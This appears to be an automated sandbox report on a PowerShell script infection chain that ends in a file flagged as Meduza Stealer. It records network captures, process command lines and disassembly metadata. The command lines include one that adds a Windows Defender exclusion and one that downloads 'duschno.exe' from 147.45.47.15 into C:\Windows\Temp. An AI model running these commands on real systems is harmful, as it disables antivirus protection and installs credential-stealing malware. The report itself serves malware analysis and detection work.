Dec 19, 2024 08:52:42.657510996 CET	1236	IN	Data Raw: 61 00 69 00 6c 00 65 00 64 00 20 00 75 00 73 00 69 00 6e 00 67 00 20 00 74 00 68 00 65 00 20 00 43 00 4c 00 53 00 49 00 44 00 20 00 66 00 6f 00 72 00 20 00 27 00 25 00 73 00 27 00 00 00 00 00 00 00 00 00 54 00 68 00 65 00 20 00 63 00 6f 00 6d 00 Data Ascii: ailed using the CLSID for '%s'The command line (%s) does not contain a valid persistent OLE object, ProgID, or Type Li
Dec 19, 2024 08:52:42.657645941 CET	1236	IN	Data Raw: 79 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 6f 00 72 00 3a 00 3a 00 49 00 6e 00 69 00 74 00 69 00 61 00 6c 00 69 00 7a 00 65 00 20 00 66 00 61 00 69 00 6c 00 65 00 64 00 2e 00 00 00 53 00 79 00 73 00 74 00 65 00 6d 00 00 00 00 00 70 00 Data Ascii: yDescriptor::Initialize failed.SystempsdSelfRelative malloc failed.Cannot AccessAccessAccess PermissionsSelect

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	147.45.47.15	80	7264	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:52:53.206274986 CET	168	OUT	GET /duschno.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 147.45.47.15 Connection: Keep-Alive
Dec 19, 2024 08:52:54.428613901 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 07:52:54 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 09 Dec 2024 20:28:42 GMT ETag: "13ba00-628dc35e76e87" Accept-Ranges: bytes Content-Length: 1292800 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c6 4e af 37 82 2f c1 64 82 2f c1 64 82 2f c1 64 c9 57 c6 65 83 2f c1 64 c9 57 c7 65 83 2f c1 64 ca aa c5 65 9b 2f c1 64 92 ab c2 65 8a 2f c1 64 92 ab c5 65 92 2f c1 64 92 ab c4 65 e0 2f c1 64 c9 57 c4 65 38 2f c1 64 c9 57 c2 65 85 2f c1 64 c9 57 c5 65 97 2f c1 64 82 2f c0 64 a5 2e c1 64 c9 57 c0 65 9d 2f c1 64 c9 aa c8 65 9d 2f c1 64 c9 aa 3e 64 83 2f c1 64 c9 aa c3 65 83 2f c1 64 52 69 63 68 82 2f c1 64 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 9d 37 3b 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 29 00 34 0d 00 00 a6 06 00 00 00 00 00 20 f2 0a 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$N7/d/d/dWe/dWe/de/de/de/de/dWe8/dWe/dWe/d/d.dWe/de/d>d/de/dRich/dPEd7;g")4 @`h@l<8(@Px.text24 `.rdataxP8@@.data\|Z@.pdataln<@@.rsrc@@.reloc<@B
Dec 19, 2024 08:52:54.428690910 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: H\$Ht$H\|$ UATAUAVAWH$H+H~\|H@H@HH/*OHzH@H@HH>=-)H@H@H
Dec 19, 2024 08:52:54.428724051 CET	248	IN	Data Raw: b5 40 14 00 00 48 8b 85 40 14 00 00 48 89 44 24 20 48 89 bd 40 14 00 00 48 8b 85 40 14 00 00 48 89 44 24 28 66 0f 6f 45 a0 0f 57 44 24 20 66 0f 7f 45 a0 0f 57 c0 0f 11 85 88 07 00 00 4c 89 b5 98 07 00 00 4c 89 b5 a0 07 00 00 48 8d 45 a0 4c 8b c3 Data Ascii: @H@HD$ H@H@HD$(foEWD$ fEWLLHELIB<uHUHqHxaH@H@HEH&!'H@H@HEH@H@HD$ H@H@HD$(foEWD$ fEWW
Dec 19, 2024 08:52:54.428807020 CET	1236	IN	Data Raw: 00 48 8d 45 b0 4c 8b c3 49 ff c0 42 80 3c 00 00 75 f6 48 8d 55 b0 48 8d 8d b0 07 00 00 e8 24 71 04 00 90 48 b8 cd 78 61 ef 81 9f b2 f5 48 89 85 40 14 00 00 48 8b 85 40 14 00 00 48 89 45 c0 48 89 bd 40 14 00 00 48 8b 85 40 14 00 00 48 89 45 c8 48 Data Ascii: HELIB<uHUH$qHxaH@H@HEH@H@HEH@H@HD$ H@H@HD$(foEWD$ fEWWHEL@IB<uHUHpI~rL@H@HEL@H@
Dec 19, 2024 08:52:54.428843021 CET	1236	IN	Data Raw: 8b 85 40 14 00 00 48 89 44 24 20 48 89 bd 40 14 00 00 48 8b 85 40 14 00 00 48 89 44 24 28 66 0f 6f 45 30 0f 57 44 24 20 66 0f 7f 45 30 0f 57 c0 0f 11 85 d0 08 00 00 0f 57 c9 f3 0f 7f 8d e0 08 00 00 48 8d 45 30 4c 8b c3 66 0f 1f 84 00 00 00 00 00 Data Ascii: @HD$ H@H@HD$(foE0WD$ fE0WWHE0LfIB<uHU0HlHhaH@H@HE@H@H@HEHH@H@HD$ H@H@HD$(foE@WD$ fE@WWHE@LfDI
Dec 19, 2024 08:52:54.429193974 CET	1236	IN	Data Raw: 14 00 00 48 89 45 78 48 89 b5 40 14 00 00 48 8b 85 40 14 00 00 48 89 44 24 20 48 89 bd 40 14 00 00 48 8b 85 40 14 00 00 48 89 44 24 28 66 0f 6f 45 70 0f 57 44 24 20 66 0f 7f 45 70 0f 57 c0 0f 11 85 80 09 00 00 0f 57 c9 f3 0f 7f 8d 90 09 00 00 48 Data Ascii: HExH@H@HD$ H@H@HD$(foEpWD$ fEpWWHEpLfDIB<uHUpH&gHizH@H@H H'TT9H@H@H(H%0$L~H@H@H0L@H@H8
Dec 19, 2024 08:52:54.429229021 CET	1236	IN	Data Raw: 8d 8d 38 0a 00 00 e8 bf 62 04 00 90 4c 89 bd 40 14 00 00 48 8b 85 40 14 00 00 48 89 85 b0 00 00 00 48 89 bd 40 14 00 00 48 8b 85 40 14 00 00 48 89 85 b8 00 00 00 48 89 b5 40 14 00 00 48 8b 85 40 14 00 00 48 89 44 24 20 48 89 bd 40 14 00 00 48 8b Data Ascii: 8bL@H@HH@H@HH@H@HD$ H@H@HD$(foWD$ fWXLhLpHLIB<uHHXbxI}pL@H@H`H0"MKrH@H
Dec 19, 2024 08:52:54.429573059 CET	1236	IN	Data Raw: 00 0f 57 c0 0f 11 85 10 0b 00 00 0f 57 c9 f3 0f 7f 8d 20 0b 00 00 48 8d 85 80 04 00 00 4c 8b c3 66 0f 1f 44 00 00 49 ff c0 42 80 3c 00 00 75 f6 48 8d 95 80 04 00 00 48 8d 8d 10 0b 00 00 e8 b3 5d 04 00 90 4c 89 bd 40 14 00 00 48 8b 85 40 14 00 00 Data Ascii: WW HLfDIB<uHH]L@H@HIAb'L@H@HH@H@HD$ H@H@HD$(foWD$ fW0W@HL@IB<uHH0]
Dec 19, 2024 08:52:54.429606915 CET	1236	IN	Data Raw: 40 14 00 00 48 89 44 24 20 48 89 bd 40 14 00 00 48 8b 85 40 14 00 00 48 89 44 24 28 48 b8 49 5c 41 a5 4c 7e b3 fe 48 89 85 40 14 00 00 48 8b 85 40 14 00 00 48 89 44 24 30 48 b8 3e 39 6f f6 35 0b 0a af 48 89 85 40 14 00 00 48 8b 85 40 14 00 00 48 Data Ascii: @HD$ H@H@HD$(HI\AL~H@H@HD$0H>9o5H@H@HD$8foWD$ ffoWL$0fWLLHLIB<uHHcXL@H@H0L@H@H8H@H
Dec 19, 2024 08:52:54.429642916 CET	1236	IN	Data Raw: 89 85 58 01 00 00 48 89 b5 40 14 00 00 48 8b 85 40 14 00 00 48 89 44 24 20 48 89 bd 40 14 00 00 48 8b 85 40 14 00 00 48 89 44 24 28 66 0f 6f 85 50 01 00 00 0f 57 44 24 20 66 0f 7f 85 50 01 00 00 0f 57 c0 0f 11 85 98 0c 00 00 4c 89 b5 a8 0c 00 00 Data Ascii: XH@H@HD$ H@H@HD$(foPWD$ fPWLLHPLIB<uHPHSL@H@H L@H@H(H,25H@H@H0HW^AFddH@H@H8
Dec 19, 2024 08:52:54.548631907 CET	1236	IN	Data Raw: 40 14 00 00 48 8b 85 40 14 00 00 48 89 44 24 28 48 b8 49 5c 41 a5 4c 7e b3 fe 48 89 85 40 14 00 00 48 8b 85 40 14 00 00 48 89 44 24 30 4c 89 ad 40 14 00 00 48 8b 85 40 14 00 00 48 89 44 24 38 66 0f 6f 85 60 05 00 00 0f 57 44 24 20 66 0f 7f 85 60 Data Ascii: @H@HD$(HI\AL~H@H@HD$0L@H@HD$8fo`WD$ f`fopWL$0fpWPW`H`LIB<uH`HPNL@H@HL@H@HH@H@HD$ H@H@

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49710	104.26.12.205	443	7512	C:\Windows\Temp\xdnfl52f.civ.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 07:52:58 UTC	100	OUT	GET / HTTP/1.1 Accept: text/html; text/plain; / Host: api.ipify.org Cache-Control: no-cache
2024-12-19 07:52:59 UTC	424	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 07:52:59 GMT Content-Type: text/plain Content-Length: 12 Connection: close Vary: Origin cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 8f45d0f9aad00f3d-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1625&min_rtt=1613&rtt_var=629&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2820&recv_bytes=738&delivery_rate=1707602&cwnd=131&unsent_bytes=0&cid=c7440f7806da2f0b&ts=559&x=0"
2024-12-19 07:52:59 UTC	12	IN	Data Raw: 38 2e 34 36 2e 31 32 33 2e 31 38 39 Data Ascii: 8.46.123.189

Target ID:	0
Start time:	02:52:37
Start date:	19/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\script.ps1"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	02:52:37
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:52:42
Start date:	19/12/2024
Path:	C:\Windows\Temp\Launcher.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Temp\Launcher.exe"
Imagebase:	0x660000
File size:	206'304 bytes
MD5 hash:	2696D944FFBEF69510B0C826446FD748
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:52:43
Start date:	19/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp'"
Imagebase:	0x7ff6d64d0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:52:43
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	02:52:45
Start date:	19/12/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff6ef0c0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	02:52:50
Start date:	19/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "iwr -useb 'http://147.45.47.15/duschno.exe' -OutFile 'C:\Windows\Temp\xdnfl52f.civ.exe'"
Imagebase:	0x330000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	02:52:50
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	02:52:56
Start date:	19/12/2024
Path:	C:\Windows\Temp\xdnfl52f.civ.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Temp\xdnfl52f.civ.exe"
Imagebase:	0x7ff75a670000
File size:	1'292'800 bytes
MD5 hash:	C6813DA66EBA357D0DEAA48C2F7032B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MeduzaStealer, Description: Yara detected Meduza Stealer, Source: 0000000A.00000002.2481667532.000001D9D06DA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MeduzaStealer, Description: Yara detected Meduza Stealer, Source: C:\Windows\Temp\xdnfl52f.civ.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 83%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Function 00007FF848F433B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2140406286.00007FF848F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848f40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
Instruction ID: 8501ce2366aa47fe50c32cae5305b62a305da60d827aaf0f190e9b8a75457062
Opcode Fuzzy Hash: 582908582f657131c1f04ed76f34d09c60f6b2c2f8b724a61ceffa3ac25bcdd6
Instruction Fuzzy Hash: 8B01447111CB0C4FD744EF0CE451AA5B7E0FB95364F10056EE58AC3695DB26E882CB45

Analysis Process: Launcher.exePID: 1848, Parent PID: 6152COMMON

Execution Graph

Execution Coverage:	8.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.7%
Total number of Nodes:	1268
Total number of Limit Nodes:	26

Executed Functions

Function 0066B905 Relevance: 73.7, APIs: 36, Strings: 6, Instructions: 159
libraryregistryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_GS.LIBCMT ref: 0066B90F
#540.MFC42U(000005AC,0066B566,00000000,00000011), ref: 0066B91D
#4155.MFC42U(00000004,000005AC,0066B566,00000000,00000011), ref: 0066B92F
StringFromGUID2.OLE32(006636E4,?), ref: 0066B949
wsprintfW.USER32 ref: 0066B95F
RegQueryValueW.ADVAPI32(80000000,?,?,?), ref: 0066B982
#540.MFC42U ref: 0066B998
#540.MFC42U ref: 0066B9A7
#538.MFC42U(Comcat.DLL), ref: 0066B9BB
LoadLibraryW.KERNEL32(?,Comcat.DLL), ref: 0066BAAE
GetProcAddress.KERNEL32(00000000,DllRegisterServer), ref: 0066BAC5
#4155.MFC42U(00000019), ref: 0066BB0C
#4155.MFC42U(00000018,00000019), ref: 0066BB19
#940.MFC42U(?,00000018,00000019), ref: 0066BB2B
#1197.MFC42U(?,00000000,00000000,?,00000018,00000019), ref: 0066BB38
FreeLibrary.KERNEL32(00000000,?,00000000,00000000,?,00000018,00000019), ref: 0066BB3E
#6398.MFC42U(?,Version,0000003D,00000001,comcat.dll,00000000,00001804,DLL Files (*.dll)|*.dll|AllFiles(*.*)|*.*|,?,?,00000004,00000000,?,0000001A,?,00000018), ref: 0066BB5B
#800.MFC42U(?,00000004,00000000,?,0000001A,?,00000018,00000017), ref: 0066BB66
#800.MFC42U(?,00000004,00000000,?,0000001A,?,00000018,00000017), ref: 0066BB71
#800.MFC42U(?,00000004,00000000,?,0000001A,?,00000018,00000017), ref: 0066BB7C
#800.MFC42U(?,00000004,00000000,?,0000001A,?,00000018,00000017), ref: 0066BB87

Strings

CLSID\%s, xrefs: 0066B959
Comcat.DLL, xrefs: 0066B9AC
DllRegisterServer, xrefs: 0066BABF
DLL Files (*.dll)|*.dll|AllFiles(*.*)|*.*|, xrefs: 0066BA2C
comcat.dll, xrefs: 0066BA37
Version, xrefs: 0066BB4B

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #800$#4155#540$Library$#1197#538#6398#940AddressFreeFromH_prolog3_LoadProcQueryStringValuewsprintf
String ID: CLSID\%s$Comcat.DLL$DLL Files (*.dll)|*.dll|AllFiles(*.*)|*.*|$DllRegisterServer$Version$comcat.dll
API String ID: 446370969-4202070818
Opcode ID: 7b8ba33c2e90128dcbc8e59937f4f5fcbbab56355941407e2681070d2814c6b7
Instruction ID: 6566e7a3b8db5a1c52619aa59536a88bc8418c6ac6a8e6eda8ec1135d0c95a19
Opcode Fuzzy Hash: 7b8ba33c2e90128dcbc8e59937f4f5fcbbab56355941407e2681070d2814c6b7
Instruction Fuzzy Hash: 9F515F30A41628AECB61EB50CC95BEE7736AF25301F4045DCF24AA6091EF705F89CF16

Function 0066B4F0 Relevance: 35.1, APIs: 15, Strings: 5, Instructions: 127
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3.LIBCMT ref: 0066B4F7

Part of subcall function 0066B463: GetModuleHandleW.KERNEL32(Kernel32.dll), ref: 0066B468
Part of subcall function 0066B463: GetProcAddress.KERNEL32(00000000,HeapSetInformation), ref: 0066B479

GetVersionExW.KERNEL32(006837B0,00000004), ref: 0066B512

Part of subcall function 0067BD2A: LoadLibraryW.KERNEL32(ACLUI.DLL,0066B51D), ref: 0067BD38
Part of subcall function 0067BD2A: MessageBoxW.USER32(00000000,Couldn't get address of EditSecurity ACLUI.DLL!,OLEViewer,00000000), ref: 0067BD50
Part of subcall function 0067BD2A: exit.MSVCRT ref: 0067BD58
Part of subcall function 0067BD2A: GetProcAddress.KERNEL32(00000000,EditSecurity), ref: 0067BD64

#1202.MFC42U ref: 0066B51D
#538.MFC42U(OleInitialize failed. Could not initialized OLE; OLEViewer cannot run.), ref: 0066B530

Part of subcall function 0067D91D: __EH_prolog3.LIBCMT ref: 0067D924
Part of subcall function 0067D91D: FormatMessageW.KERNEL32(00001100,00000000,?,00000409,?,00000000,00000000,00000010,0067B9B7,?,00000000,00000000,00000000), ref: 0067D942
Part of subcall function 0067D91D: #540.MFC42U ref: 0067D94F
Part of subcall function 0067D91D: #2810.MFC42U(?,%s %s,?,00000000,?), ref: 0067D96C
Part of subcall function 0067D91D: #922.MFC42U(?,?,?,?,?,?,?), ref: 0067D97F
Part of subcall function 0067D91D: #858.MFC42U(00000000,?,?,?,?,?,?,?), ref: 0067D98C
Part of subcall function 0067D91D: #800.MFC42U(00000000,?,?,?,?,?,?,?), ref: 0067D997
Part of subcall function 0067D91D: LocalFree.KERNEL32(?,00000000,?,?,?,?,?,?,?), ref: 0067D99F
Part of subcall function 0067D91D: #1197.MFC42U(?,00000000,00000000,?,?,?,?), ref: 0067D9AA
Part of subcall function 0067D91D: #800.MFC42U(?,00000000,00000000,00000000,?,?,?,?,?,?), ref: 0067DA13

#800.MFC42U(?,00000000,OleInitialize failed. Could not initialized OLE; OLEViewer cannot run.), ref: 0066B546
#6112.MFC42U(00000011), ref: 0066B556
#2613.MFC42U(00000000,00000011), ref: 0066B571
#384.MFC42U(00000000,00000011), ref: 0066B590
#2089.MFC42U(000000C8,00000010,00000064,0000FF00,00000000,00000011), ref: 0066B5B2
#1197.MFC42U(Could not load bitmaps,00000000,00000000,000000C8,00000010,00000064,0000FF00,00000000,00000011), ref: 0066B5C2
#520.MFC42U(00000002,00663458,Df, Jf,000000C8,00000010,00000064,0000FF00,00000000,00000011), ref: 0066B5EE
#986.MFC42U(00000000,000000C8,00000010,00000064,0000FF00,00000000,00000011), ref: 0066B5FE
#4604.MFC42U(00000000,000000C8,00000010,00000064,0000FF00,00000000,00000011), ref: 0066B60B
#1197.MFC42U(Warning! Certain features of this program may be unavailable to you because you are not logged in as an administrator.,00000000,00000000,00000000,00000000,00000000,000000C8,00000010,00000064,0000FF00,00000000,00000011), ref: 0066B640
#5977.MFC42U ref: 0066B688

Strings

OleInitialize failed. Could not initialized OLE; OLEViewer cannot run., xrefs: 0066B528
Could not load bitmaps, xrefs: 0066B5BD
Df, xrefs: 0066B5E1
Jf, xrefs: 0066B5DC
Warning! Certain features of this program may be unavailable to you because you are not logged in as an administrator., xrefs: 0066B63B

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: #1197#800$AddressH_prolog3MessageProc$#1202#2089#2613#2810#384#4604#520#538#540#5977#6112#858#922#986FormatFreeHandleLibraryLoadLocalModuleVersionexit
String ID: Jf$Could not load bitmaps$OleInitialize failed. Could not initialized OLE; OLEViewer cannot run.$Warning! Certain features of this program may be unavailable to you because you are not logged in as an administrator.$Df
API String ID: 800470354-4139715274
Opcode ID: 1c522ae789b9549c4c0eecafec6b63c1bbca6c856b405939565fbaf98055a480
Instruction ID: e1ae17546ef712a2c613a0d4c0519efae6f7f017722c67bd483a049b81b0cdef
Opcode Fuzzy Hash: 1c522ae789b9549c4c0eecafec6b63c1bbca6c856b405939565fbaf98055a480
Instruction Fuzzy Hash: 584123B0B00211EBDB94BBB08C46A7E62ABAF44310F00996DF506EB3D2DFB1CD448748

Function 0067642D Relevance: 30.0, APIs: 11, Strings: 6, Instructions: 284
registrycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoCreateInstance.OLE32(006636E4,00000000,00000001,006636F4,00000000), ref: 006764C3
GetUserDefaultLCID.KERNEL32(00000000), ref: 006764EA
StringFromGUID2.OLE32(?,?,00000050), ref: 00676589
wsprintfW.USER32 ref: 006765C8
RegOpenKeyW.ADVAPI32(80000000,Component Categories,00000000), ref: 00676750
RegEnumKeyW.ADVAPI32(00000000,00000000,?,00000050), ref: 00676789
RegOpenKeyW.ADVAPI32(00000000,?,?), ref: 006767AB
RegQueryValueExW.ADVAPI32(?,409,00000000,00000000,?,00000200), ref: 006767E0
wsprintfW.USER32 ref: 00676813
RegCloseKey.ADVAPI32(?), ref: 0067690C

Strings

Component Categories, xrefs: 00676746
%s <no name>, xrefs: 00676807
_%S <no name>, xrefs: 006765BC
409, xrefs: 006767D5
g, xrefs: 00676484
P;g, xrefs: 00676467

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

Similarity

API ID: Openwsprintf$CloseCreateDefaultEnumFromInstanceQueryStringUserValue
String ID: %s <no name>$409$Component Categories$P;g$_%S <no name>$g
API String ID: 3086071695-2305516289
Opcode ID: a3f909553b41c77af108e962de6afd597954c601d32e1d41e7b4dcf9aa4ef5f9
Instruction ID: 80972317153d4a00df6de7aaa693f3403607e779801211be0e2e6012d3428a47
Opcode Fuzzy Hash: a3f909553b41c77af108e962de6afd597954c601d32e1d41e7b4dcf9aa4ef5f9
Instruction Fuzzy Hash: 1EE1DA71A00629DFDB60DF64DC49BA9B7BABB84315F1041EAE40DE7250DB729EA4CF10

Function 0066DBA0 Relevance: 114.2, APIs: 50, Strings: 15, Instructions: 422
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#6195.MFC42U(006621A0), ref: 0066DBDB
#1143.MFC42U(00000093,0000000E,00000093,006621A0), ref: 0066DBE9
LoadIconW.USER32(00000000,00000093), ref: 0066DBEF
SendMessageW.USER32(?,00000170,00000000,00000000), ref: 0066DC03
#6195.MFC42U(006621A0), ref: 0066DC10

Part of subcall function 0066E409: SendMessageW.USER32(?,00001304,00000000,00000000), ref: 0066E41E
Part of subcall function 0066E409: SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0066E436
Part of subcall function 0066E409: SendMessageW.USER32(?,00001309,00000000,00000000), ref: 0066E451
Part of subcall function 0066E409: #6211.MFC42U(00000000), ref: 0066E45E

#1662.MFC42U ref: 0066DC2A
lstrcmpW.KERNEL32(?,Application IDs), ref: 0066DC37
#6195.MFC42U(Application IDs), ref: 0066DC4C
#6195.MFC42U(All HKEY_CLASSES_ROOT\APPID Entries,Application IDs), ref: 0066DC58
#1143.MFC42U(00000094,0000000E,00000094,All HKEY_CLASSES_ROOT\APPID Entries,Application IDs), ref: 0066DC66
LoadIconW.USER32(00000000,00000094), ref: 0066DC6C
SendMessageW.USER32(?,00000170,00000000,00000000), ref: 0066DC80
#2644.MFC42U ref: 0066E158

Strings

Application IDs, xrefs: 0066DC2F, 0066DC41
All HKEY_CLASSES_ROOT\APPID Entries, xrefs: 0066DC51
Component Categories, xrefs: 0066DD3F
All HKEY_CLASSES_ROOT\Component Categories Entries, xrefs: 0066DD53
InprocServer32, xrefs: 0066E0A7
LocalServer32, xrefs: 0066E079
CLSID\%s, xrefs: 0066DF8D
DefaultIcon, xrefs: 0066DFDD
InprocHandler32, xrefs: 0066E0D5
InprocServer, xrefs: 0066E0BE
Interfaces, xrefs: 0066DE2B
Type Libraries, xrefs: 0066DDF4
LocalServer, xrefs: 0066E090
InprocHandler, xrefs: 0066E0EC
No CLSID available., xrefs: 0066DCCF

Memory Dump Source

Source File: 00000003.00000002.2236955771.0000000000661000.00000020.00000001.01000000.00000008.sdmp, Offset: 00660000, based on PE: true

Associated: 00000003.00000002.2236867884.0000000000660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237111378.0000000000683000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2237140315.0000000000684000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_660000_Launcher.jbxd

